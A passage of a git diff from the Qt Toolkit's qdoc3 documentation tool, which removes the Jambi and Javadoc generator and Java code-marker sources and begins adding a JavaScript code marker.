-    QRegExp paramRegExp(" ?([^ ].*) ([A-Za-z_0-9]+) ?");
-
-    foreach (const QString &param, params) {
-        if (paramRegExp.exactMatch(param)) {
-            func->addParameter(Parameter(paramRegExp.cap(1), "", paramRegExp.cap(2)));
-        } else {
-            // problem
-        }
-    }
-
-    if (funcPtr) {
-        *funcPtr = func;
-    } else if (!parent) {
-        delete func;
-    }
-    return true;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/jambiapiparser.h b/tools/qdoc3/jambiapiparser.h
deleted file mode 100644
index e91bbc8..0000000
--- a/tools/qdoc3/jambiapiparser.h
+++ /dev/null
@@ -1,99 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-    jambiapiparser.h
-*/
-
-#ifndef JAMBIAPIPARSER_H
-#define JAMBIAPIPARSER_H
-
-#include <QStack>
-#include <QXmlDefaultHandler>
-
-#include "codeparser.h"
-
-QT_BEGIN_NAMESPACE
-
-struct ClassOrEnumInfo
-{
-    QString tag;
-    QString javaName;
-    QString cppName;
-    Node *javaNode;
-    Node *cppNode;
-
-    ClassOrEnumInfo() : javaNode(0), cppNode(0) {}
-};
-
-class JambiApiParser : public CodeParser, private QXmlDefaultHandler
-{
-public:
-    JambiApiParser(Tree *cppTree);
-    ~JambiApiParser();
-
-    void initializeParser(const Config &config);
-    void terminateParser();
-    QString language();
-    QString sourceFileNameFilter();
-    void parseSourceFile(const Location &location, const QString &filePath, Tree *tree);
-    virtual void doneParsingSourceFiles(Tree *tree);
-
-private:
-    bool startElement(const QString &namespaceURI, const QString &localName,
-                      const QString &qName, const QXmlAttributes &attributes);
-    bool endElement(const QString &namespaceURI, const QString &localName,
-                    const QString &qName);
-    bool fatalError(const QXmlParseException &exception);
-    void jambifyDocsPass2(Node *node);
-    bool makeFunctionNode(InnerNode *parent, const QString &synopsis, FunctionNode **funcPtr);
-
-    Tree *cppTre;
-    Tree *javaTre;
-
-    bool metJapiTag;
-    Location japiLocation;
-    QStack<ClassOrEnumInfo> classAndEnumStack;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/javacodemarker.cpp b/tools/qdoc3/javacodemarker.cpp
deleted file mode 100644
index e2b1262..0000000
--- a/tools/qdoc3/javacodemarker.cpp
+++ /dev/null
@@ -1,203 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-    javacodemarker.cpp
-*/
-
-#include "javacodemarker.h"
-#include "node.h"
-#include "text.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-JavaCodeMarker::JavaCodeMarker()
-{
-}
-
-JavaCodeMarker::~JavaCodeMarker()
-{
-}
-
-bool JavaCodeMarker::recognizeCode( const QString& /* code */ )
-{
-    return true;
-}
-
-bool JavaCodeMarker::recognizeExtension( const QString& ext )
-{
-    return ext == "java";
-}
-
-bool JavaCodeMarker::recognizeLanguage( const QString& lang )
-{
-    return lang == "Java";
-}
-
-QString JavaCodeMarker::plainName( const Node *node )
-{
-    return node->name();
-}
-
-QString JavaCodeMarker::plainFullName( const Node *node, const Node * /* relative */ )
-{
-    if (!node)
-        return QString();
-
-    QString fullName;
-    for ( ;; ) {
-	fullName.prepend( plainName(node) );
-	if ( node->parent() && node->parent()->name().isEmpty() )
-	    break;
-	node = node->parent();
-    if (!node)
-        break;
-	fullName.prepend(".");
-    }
-    return fullName;
-}
-
-QString JavaCodeMarker::markedUpCode( const QString& code,
-				      const Node * /* relative */,
-				      const QString& /* dirPath */ )
-{
-    return protect( code );
-}
-
-QString JavaCodeMarker::markedUpSynopsis(const Node * /* node */,
-					 const Node * /* relative */,
-					 SynopsisStyle /* style */)
-{
-    return QString();
-}
-
-QString JavaCodeMarker::markedUpName( const Node *node )
-{
-    return linkTag(node, taggedNode(node));
-}
-
-QString JavaCodeMarker::markedUpFullName(const Node *node, const Node * /* relative */ )
-{
-    QString fullName;
-    for ( ;; ) {
-	fullName.prepend( markedUpName(node) );
-	if ( node->parent()->name().isEmpty() )
-	    break;
-	node = node->parent();
-	fullName.prepend( "." );
-    }
-    return fullName;
-}
-
-QString JavaCodeMarker::markedUpEnumValue(const QString &enumValue,
-                                          const Node * /* relative */)
-{
-    return protect(enumValue);
-}
-
-QString JavaCodeMarker::markedUpIncludes( const QStringList& /* includes */ )
-{
-    return QString();
-}
-
-QString JavaCodeMarker::functionBeginRegExp( const QString& /* funcName */)
-{
-    return "^x$"; // ### invalid regexp
-}
-
-QString JavaCodeMarker::functionEndRegExp( const QString& /* funcName */ )
-{
-    return "^}";
-}
-
-QList<Section> JavaCodeMarker::sections(const InnerNode * /* inner */, SynopsisStyle /* style */,
-                                        Status /* status */)
-{
-    return QList<Section>();
-}
-
-const Node *JavaCodeMarker::resolveTarget(const QString &target,
-                                          const Tree *tree,
-					  const Node *relative,
-                                          const Node* /* self */)
-{
-    if (target.endsWith("()")) {
-        const FunctionNode *func;
-        QString funcName = target;
-        funcName.chop(2);
-
-        QStringList path = funcName.split('.');
-        if ((func = tree->findFunctionNode(path, relative, Tree::SearchBaseClasses)))
-            return func;
-    } else if (target.contains("#")) {
-        int hashAt = target.indexOf("#");
-        QString link = target.left(hashAt);
-        QString ref = target.mid(hashAt + 1);
-        const Node *node;
-        if (link.isEmpty()) {
-            node = relative;
-        } else {
-            QStringList path(link);
-            node = tree->findNode(path, tree->root(), Tree::SearchBaseClasses);
-        }
-        if (node && node->isInnerNode()) {
-            const Atom *atom = node->doc().body().firstAtom();
-            while (atom) {
-                if (atom->type() == Atom::Target && atom->string() == ref) {
-                    Node *parentNode = const_cast<Node *>(node);
-                    return new TargetNode(static_cast<InnerNode*>(parentNode),
-                                          ref);
-                }
-                atom = atom->next();
-            }
-        }
-    } else {
-        QStringList path = target.split('.');
-        const Node *node;
-        if ((node = tree->findNode(path, relative,
-                                   Tree::SearchBaseClasses | Tree::SearchEnumValues)))
-            return node;
-    }
-    return 0;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/javacodemarker.h b/tools/qdoc3/javacodemarker.h
deleted file mode 100644
index 25f80c9..0000000
--- a/tools/qdoc3/javacodemarker.h
+++ /dev/null
@@ -1,83 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-    javacodemarker.h
-*/
-
-#ifndef JAVACODEMARKER_H
-#define JAVACODEMARKER_H
-
-#include "codemarker.h"
-
-QT_BEGIN_NAMESPACE
-
-class JavaCodeMarker : public CodeMarker
-{
-public:
-    JavaCodeMarker();
-    ~JavaCodeMarker();
-
-    bool recognizeCode( const QString& code );
-    bool recognizeExtension( const QString& ext );
-    bool recognizeLanguage( const QString& lang );
-    QString plainName(const Node *node);
-    QString plainFullName(const Node *node, const Node *relative);
-    QString markedUpCode( const QString& code, const Node *relative,
-        		  const QString& dirPath );
-    QString markedUpSynopsis( const Node *node, const Node *relative,
-        		      SynopsisStyle style );
-    QString markedUpName( const Node *node );
-    QString markedUpFullName( const Node *node, const Node *relative );
-    QString markedUpEnumValue(const QString &enumValue, const Node *relative);
-    QString markedUpIncludes( const QStringList& includes );
-    QList<Section> sections(const InnerNode *innerNode, SynopsisStyle style, Status status);
-    QString functionBeginRegExp( const QString& funcName );
-    QString functionEndRegExp( const QString& funcName );
-    const Node* resolveTarget( const QString& target, 
-                               const Tree* tree, 
-                               const Node* relative,
-                               const Node* self = 0 );
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/javadocgenerator.cpp b/tools/qdoc3/javadocgenerator.cpp
deleted file mode 100644
index d71ad6b..0000000
--- a/tools/qdoc3/javadocgenerator.cpp
+++ /dev/null
@@ -1,454 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "javadocgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-enum JavaSignatureSyntax {
-    GeneratedJdocFile,
-    JavadocRef,
-    SlotSignature
-};
-
-static QString javaSignature(const FunctionNode *func, JavaSignatureSyntax syntax,
-                             int maxParams = 65535)
-{
-    maxParams = qMin(maxParams, func->parameters().count());
-
-    QString result;
-
-    if (syntax == GeneratedJdocFile) {
-        if (func->access() == Node::Public) {
-            result += "public ";
-        } else if (func->access() == Node::Protected) {
-            result += "protected ";
-        } else {
-            result += "private ";
-        }
-
-        if (func->metaness() == FunctionNode::Native)
-            result += "native ";
-
-        if (func->isConst())
-            result += "final ";
-
-        // ### func->metaness() == FunctionNode::Abstract
-
-        if (func->isStatic())
-            result += "static ";
-
-        if (!func->returnType().isEmpty()) {
-            result += func->returnType();
-            result += ' ';
-        }
-    }
-
-    if (syntax == SlotSignature) {
-        result += "void mySlot";
-    } else {
-        result += func->name();
-    }
-    result += '(';
-    for (int i = 0; i < maxParams; ++i) {
-        if (i != 0)
-            result += ", ";
-        result += func->parameters().at(i).leftType();
-        if (syntax != JavadocRef) {
-            result += ' ';
-            result += func->parameters().at(i).name();
-        }
-    }
-    result += ')';
-
-    return result;
-}
-
-static QString packageName(const Node *node)
-{
-    while (node && node->type() != Node::Class && node->type() != Node::Fake)
-        node = node->parent();
-    if (!node)
-        return QString();
-    return node->moduleName();
-}
-
-JavadocGenerator::JavadocGenerator()
-    : oldDevice(0), currentDepth(0)
-{
-}
-
-JavadocGenerator::~JavadocGenerator()
-{
-}
-
-void JavadocGenerator::initializeGenerator(const Config &config)
-{
-    HtmlGenerator::initializeGenerator(config);
-
-    formattingLeftMap().insert(ATOM_FORMATTING_PARAMETER,
-                               formattingLeftMap().value(ATOM_FORMATTING_TELETYPE));
-    formattingRightMap().insert(ATOM_FORMATTING_PARAMETER,
-                                formattingRightMap().value(ATOM_FORMATTING_TELETYPE));
-}
-
-void JavadocGenerator::terminateGenerator()
-{
-    HtmlGenerator::terminateGenerator();
-}
-
-QString JavadocGenerator::format()
-{
-    return "javadoc";
-}
-
-void JavadocGenerator::generateTree(const Tree *tree, CodeMarker *marker)
-{
-    HtmlGenerator::generateTree(tree, marker);
-}
-
-QString JavadocGenerator::fileExtension(const Node *node) const
-{
-    if (node->type() == Node::Fake) {
-        return "html";
-    } else {
-        return "jdoc";
-    }
-}
-
-QString JavadocGenerator::typeString(const Node *node)
-{
-    if (node->type() == Node::Function) {
-        const FunctionNode *func = static_cast<const FunctionNode *>(node);
-        return func->metaness() == FunctionNode::Signal ? "signal" : "method";
-    } else {
-        return HtmlGenerator::typeString(node);
-    }
-}
-
-QString JavadocGenerator::imageFileName(const Node *relative, const QString& fileBase)
-{
-    QString result = HtmlGenerator::imageFileName(relative, fileBase);
-    if (!result.isEmpty()) {
-        QString package = packageName(relative);
-        int numSubPackages = package.count('.') - 2;
-        while (numSubPackages > 0) {
-            result.prepend("%2E%2E/");  // javadoc 1.5.0_06 chokes on '../'
-            --numSubPackages;
-        }
-    }
-    return result;
-}
-
-static int textDepth = 0;
-
-void JavadocGenerator::startText(const Node *relative, CodeMarker *marker)
-{
-    if (textDepth++ == 0 && relative->type() != Node::Fake) {
-        Q_ASSERT(!oldDevice);
-        oldDevice = out().device();
-        Q_ASSERT(oldDevice);
-        out().setString(&buffer);
-    }
-    HtmlGenerator::startText(relative, marker);
-}
-
-void JavadocGenerator::endText(const Node *relative, CodeMarker *marker)
-{
-    HtmlGenerator::endText(relative, marker);
-    if (--textDepth == 0 && relative->type() != Node::Fake) {
-        Q_ASSERT(oldDevice);
-        out().setDevice(oldDevice);
-        oldDevice = 0;
-
-        /*
-            Need to escape XML metacharacters in .jdoc files.
-        */
-        buffer.replace("*/", "*&lt;!-- noop --&gt;/");
-        buffer.replace("&", "&amp;");
-        buffer.replace("\"", "&quot;");
-        buffer.replace("<", "&lt;");
-        buffer.replace(">", "&gt;");
-        out() << buffer;
-        buffer.clear();
-    }
-}
-
-int JavadocGenerator::generateAtom(const Atom *atom, const Node *relative, CodeMarker *marker)
-{
-    return HtmlGenerator::generateAtom(atom, relative, marker);
-}
-
-void JavadocGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker)
-{
-    generateIndent();
-    out() << "<class name=\"" << protect(inner->name()) << "\"";
-    generateDoc(inner, marker);
-    out() << ">\n";
-
-    ++currentDepth;
-    foreach (Node *node, inner->childNodes()) {
-        if (node->isInnerNode()) {
-            generateClassLikeNode(static_cast<InnerNode *>(node), marker);
-        } else {
-            if (node->type() == Node::Enum) {
-                EnumNode *enume = static_cast<EnumNode *>(node);
-
-                generateIndent();
-                out() << "<enum name=\"" << protect(node->name()) << "\"";
-                generateDoc(node, marker);
-                out() << ">\n";
-
-                ++currentDepth;
-                const QList<EnumItem> &items = enume->items();
-                for (int i = 0; i < items.count(); ++i) {
-                    const EnumItem &item = items.at(i);
-                    generateIndent();
-                    out() << "<enum-value name=\"" << protect(item.name()) << "\"";
-                    generateEnumItemDoc(item.text(), enume, marker);
-                    out() << "/>\n";
-                }
-                --currentDepth;
-
-                out() << "</enum>\n";
-            } else if (node->type() == Node::Function) {
-                FunctionNode *func = static_cast<FunctionNode *>(node);
-                generateIndent();
-                out() << (func->metaness() == FunctionNode::Signal ? "<signal" : "<method")
-                      << " name=\""
-                      << protect(javaSignature(func, GeneratedJdocFile))
-                      << "\"";
-                generateDoc(node, marker);
-                out() << "/>\n";
-            }
-        }
-    }
-    --currentDepth;
-
-    generateIndent();
-    out() << "</class>\n";
-}
-
-void JavadocGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
-{
-    HtmlGenerator::generateFakeNode(fake, marker);
-}
-
-bool JavadocGenerator::generateText(const Text& text, const Node *relative, CodeMarker *marker)
-{
-    HtmlGenerator::generateText(text, relative, marker);
-    return true;
-}
-
-void JavadocGenerator::generateBody(const Node *node, CodeMarker *marker)
-{
-    generateText(node->doc().body(), node, marker);
-}
-
-void JavadocGenerator::generateAlsoList( const Node *node, CodeMarker *marker )
-{
-    QList<Text> alsoList = node->doc().alsoList();
-    supplementAlsoList(node, alsoList);
-
-    if (node->type() == Node::Fake
-            || (node->type() == Node::Function
-                && static_cast<const FunctionNode *>(node)->metaness() == FunctionNode::Signal)) {
-        Text text;
-
-        if (!alsoList.isEmpty()) {
-            text << Atom(Atom::ListLeft, ATOM_LIST_TAG)
-                 << Atom(Atom::ListTagLeft, ATOM_LIST_TAG)
-                 << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD)
-                 << "See Also:"
-                 << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD)
-                 << Atom(Atom::ListTagRight, ATOM_LIST_TAG)
-                 << Atom(Atom::ListItemLeft, ATOM_LIST_TAG);
-
-            for (int i = 0; i < alsoList.count(); ++i) {
-                if (i != 0)
-                    text << ", ";
-                text << alsoList.at(i);
-            }
-            text << Atom(Atom::ListItemRight, ATOM_LIST_TAG)
-                 << Atom(Atom::ListRight, ATOM_LIST_TAG);
-        }
-
-        generateText(text, node, marker);
-    } else {
-        foreach (const Text &text, alsoList) {
-            out() << "\n@see ";
-            generateText(text, node, marker);
-        }
-    }
-}
-
-QString JavadocGenerator::refForNode( const Node *node )
-{
-    if (node->type() == Node::Function)
-        return javaSignature(static_cast<const FunctionNode *>(node), JavadocRef);
-
-    return HtmlGenerator::refForNode(node);
-}
-
-QString JavadocGenerator::linkForNode( const Node *node, const Node *relative )
-{
-    // ### EVIL, relative should never be null
-    if (!relative)
-        relative = node;
-
-    if (packageName(node).isEmpty()) {
-        // ### jasmin: Fixme
-        return QString();
-    }
-
-    QString result;
-    if (node->type() == Node::Fake) {
-        result = node->name();
-    } else {
-        if (!node->isInnerNode()) {
-            result = linkForNode(node->parent(), relative) + "#" + refForNode(node);
-        } else {
-            result = node->name() + ".html";
-        }
-    }
-
-    QStringList nodePackage = packageName(node).split(".");
-    QStringList relativePackage = packageName(relative).split(".");
-    if (nodePackage == QStringList(QString()) || relativePackage == QStringList(QString())) {
-        qWarning("I'm in trouble [%s][%s]", qPrintable(node->name()), qPrintable(relative->name()));
-        return QString();
-    }
-
-    int i = nodePackage.count() - 1;
-    while (nodePackage.value(i) != relativePackage.value(i)) {
-        result.prepend(nodePackage.at(i) + "/");
-        --i;
-    }
-
-    ++i;
-    while (i < relativePackage.count()) {
-        result.prepend("%2E%2E/");      // javadoc 1.5.0_06 chokes on '../'
-        ++i;
-    }
-
-    return result;
-}
-
-QString JavadocGenerator::refForAtom(Atom *atom, const Node *node)
-{
-    return HtmlGenerator::refForAtom(atom, node);
-}
-
-/*
-    Neutralize dumb functions called from HtmlGenerator.
-*/
-void JavadocGenerator::generateDcf(const QString & /* fileBase */, const QString & /* startPage */,
-                                   const QString & /* title */, DcfSection & /* dcfRoot */)
-{
-}
-
-void JavadocGenerator::generateIndex(const QString & /* fileBase */, const QString & /* url */,
-                                     const QString & /* title */)
-{
-}
-
-void JavadocGenerator::generateIndent()
-{
-    for (int i = 0; i < currentDepth; ++i)
-        out() << "    ";
-}
-
-void JavadocGenerator::generateDoc(const Node *node, CodeMarker *marker)
-{
-    const Text &text = node->doc().body();
-    if (!text.isEmpty()) {
-        out() << " doc=\"/**\n";
-        Generator::generateStatus(node, marker);
-        generateText(text, node, marker);
-        if (node && node->type() == Node::Function) {
-            const FunctionNode *func = static_cast<const FunctionNode *>(node);
-            if (func->metaness() == FunctionNode::Signal) {
-                QStringList slotSignatures;
-                for (int i = func->parameters().count(); i >= 0; --i)
-                    slotSignatures += javaSignature(func, SlotSignature, i);
-
-                Text text;
-
-                text << Atom(Atom::ListLeft, ATOM_LIST_TAG)
-                     << Atom(Atom::ListTagLeft, ATOM_LIST_TAG)
-                     << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD);
-
-                if (slotSignatures.count() == 1) {
-                    text << "Compatible Slot Signature:";
-                } else {
-                    text << "Compatible Slot Signatures:";
-                }
-
-                text << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD)
-                     << Atom(Atom::ListTagRight, ATOM_LIST_TAG);
-
-                for (int i = 0; i < slotSignatures.count(); ++i) {
-                    text << Atom(Atom::ListItemLeft, ATOM_LIST_TAG)
-                         << Atom(Atom::C, marker->markedUpCode(slotSignatures.at(i), 0, ""))
-                         << Atom(Atom::ListItemRight, ATOM_LIST_TAG);
-                }
-                text << Atom(Atom::ListRight, ATOM_LIST_TAG);
-                generateText(text, node, marker);
-            }
-        }
-        if (node)
-            generateAlsoList(node, marker);
-        out() << " */\"";
-    }
-}
-
-void JavadocGenerator::generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker)
-{
-    out() << " doc=\"/**\n";
-    if (text.isEmpty()) {
-        out() << "Internal.";
-    } else {
-        generateText(text, node, marker);
-    }
-    out() << " */\"";
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/javadocgenerator.h b/tools/qdoc3/javadocgenerator.h
deleted file mode 100644
index e2e8ed6..0000000
--- a/tools/qdoc3/javadocgenerator.h
+++ /dev/null
@@ -1,95 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#ifndef JAVADOCGENERATOR_H
-#define JAVADOCGENERATOR_H
-
-#include "htmlgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-class JavadocGenerator : public HtmlGenerator
-{
-public:
-    JavadocGenerator();
-    ~JavadocGenerator();
-
-    void initializeGenerator(const Config &config);
-    void terminateGenerator();
-    QString format();
-    bool canHandleFormat(const QString &format) { return format == "HTML" || format == "javadoc"; }
-    void generateTree(const Tree *tree, CodeMarker *marker);
-    QString typeString(const Node *node);
-    QString imageFileName(const Node *relative, const QString &fileBase);
-
-protected:
-    QString fileExtension(const Node *node) const;
-    void startText( const Node *relative, CodeMarker *marker );
-    void endText( const Node *relative, CodeMarker *marker );
-    int generateAtom( const Atom *atom, const Node *relative, CodeMarker *marker );
-    void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker);
-    void generateFakeNode( const FakeNode *fake, CodeMarker *marker );
-
-    bool generateText( const Text& text, const Node *relative, CodeMarker *marker );
-    void generateBody( const Node *node, CodeMarker *marker );
-    void generateAlsoList( const Node *node, CodeMarker *marker );
-
-    QString refForNode( const Node *node );
-    QString linkForNode( const Node *node, const Node *relative );
-    QString refForAtom(Atom *atom, const Node *node);
-
-private:
-    void generateDcf(const QString &fileBase, const QString &startPage,
-                     const QString &title, DcfSection &dcfRoot);
-    void generateIndex(const QString &fileBase, const QString &url,
-                       const QString &title);
-    void generateIndent();
-    void generateDoc(const Node *node, CodeMarker *marker);
-    void generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker);
-
-    QString buffer;
-    QIODevice *oldDevice;
-    int currentDepth;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp
new file mode 100644
index 0000000..5a513f7
--- /dev/null
+++ b/tools/qdoc3/jscodemarker.cpp
@@ -0,0 +1,151 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+  jscodemarker.cpp
+*/
+
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+#include "private/qdeclarativejsparser_p.h"
+
+#include "atom.h"
+#include "node.h"
+#include "jscodemarker.h"
+#include "qmlmarkupvisitor.h"
+#include "text.h"
+#include "tree.h"
+
+QT_BEGIN_NAMESPACE
+
+JsCodeMarker::JsCodeMarker()
+{
+}
+
+JsCodeMarker::~JsCodeMarker()
+{
+}
+
+/*!
+  Returns true if the \a code is recognized by the parser.
+ */
+bool JsCodeMarker::recognizeCode(const QString &code)
+{
+    QDeclarativeJS::Engine engine;
+    QDeclarativeJS::Lexer lexer(&engine);
+    QDeclarativeJS::Parser parser(&engine);
+    QDeclarativeJS::NodePool m_nodePool("<JsCodeMarker::recognizeCode>", &engine);
+
+    QString newCode = code;
+    QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode);
+    lexer.setCode(newCode, 1);
+
+    return parser.parseProgram();
+}
+
+/*!
+  Returns true if \a ext is any of a list of file extensions
+  for the QML language.
+ */
+bool JsCodeMarker::recognizeExtension(const QString &ext)
+{
+    return ext == "js";
+}
+
+/*!
+  Returns true if the \a language is recognized. Only "QML" is
+  recognized by this marker.
+ */
+bool JsCodeMarker::recognizeLanguage(const QString &language)
+{
+    return language == "JavaScript" || language == "ECMAScript";
+}
+
+/*!
+  Returns the type of atom used to represent JavaScript code in the documentation.
+*/
+Atom::Type JsCodeMarker::atomType() const
+{
+    return Atom::JavaScript;
+}
+
+QString JsCodeMarker::markedUpCode(const QString &code,
+                                    const Node *relative,
+                                    const Location &location)
+{
+    return addMarkUp(code, relative, location);
+}
+
+QString JsCodeMarker::addMarkUp(const QString &code,
+                                 const Node * /* relative */,
+                                 const Location &location)
+{
+    QDeclarativeJS::Engine engine;
+    QDeclarativeJS::Lexer lexer(&engine);
+
+    QString newCode = code;
+    QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode);
+    lexer.setCode(newCode, 1);
+
+    QDeclarativeJS::Parser parser(&engine);
+    QDeclarativeJS::NodePool m_nodePool("<JsCodeMarker::addMarkUp>", &engine);
+    QString output;
+
+    if (parser.parseProgram()) {
